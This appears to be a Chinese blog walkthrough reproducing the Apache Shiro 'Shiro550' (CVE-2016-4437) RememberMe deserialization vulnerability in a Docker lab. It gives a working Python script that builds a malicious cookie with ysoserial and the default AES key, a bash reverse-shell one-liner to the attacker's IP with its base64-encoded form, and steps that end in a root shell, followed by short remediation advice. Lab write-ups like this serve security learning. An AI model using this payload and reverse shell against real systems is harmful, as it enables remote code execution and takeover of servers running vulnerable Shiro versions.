Shiro550-CVE-2016-4437复现

漏洞原理

    Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
Payload产生的过程:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

影响

版本:Apache Shiro < 1.2.4

判断特征

返回包中包含rememberMe=deleteMe字段

复现

漏洞环境

使用docker搭建环境

docker pull medicean/vulapps:s_shiro_1 //获取docker镜像
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1 //启动docker镜像

主机 ip
靶机:ubuntu20 192.168.237.138
攻击机:kali2020 192.168.237.139

准备工具

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="  #脚本检测出的漏洞环境AES的密钥
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("/tmp/payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

开始利用漏洞

  1. 探测靶机是否存在shrio漏洞

python3 shiro_exploit.py -u http://192.168.237.138:8080/

运行脚本
在这里插入图片描述

  1. 构造反弹shell
bash -i >& /dev/tcp/192.168.237.139/1234 0>&1

http://www.jackson-t.ca/runtime-exec-payloads.html
进行编码后为:

bash -c {
    
    echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNy4xMzkvMTIzNCAwPiYx}|{
    
    base64,-d}|{
    
    bash,-i}

在这里插入图片描述

  1. 伪造cookie值(即构造payload)
    在这里插入图片描述
    在这里插入图片描述
    复制cookie值。

  2. 访问漏洞环境
    抓包,替换cookie值,同时侦听1234端口。
    在这里插入图片描述在这里插入图片描述
    在这里插入图片描述
    成功反弹root权限的shell
    在这里插入图片描述

修复加固

1、对于shiro的认证过程而言,如果我们使用了硬编码的默认密钥,或者我们自己配置的AES密钥一旦泄露,都有可能面临着反序列化漏洞的风险,因此可以选择不配置硬编码的密钥,那么此情况下shiro将会为我们每次生成一个随机密钥。
2、若需要自己生成密钥,官方提供org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()方法来进行AES的密钥生成。

猜你喜欢

转载自blog.csdn.net/weixin_44033675/article/details/119062144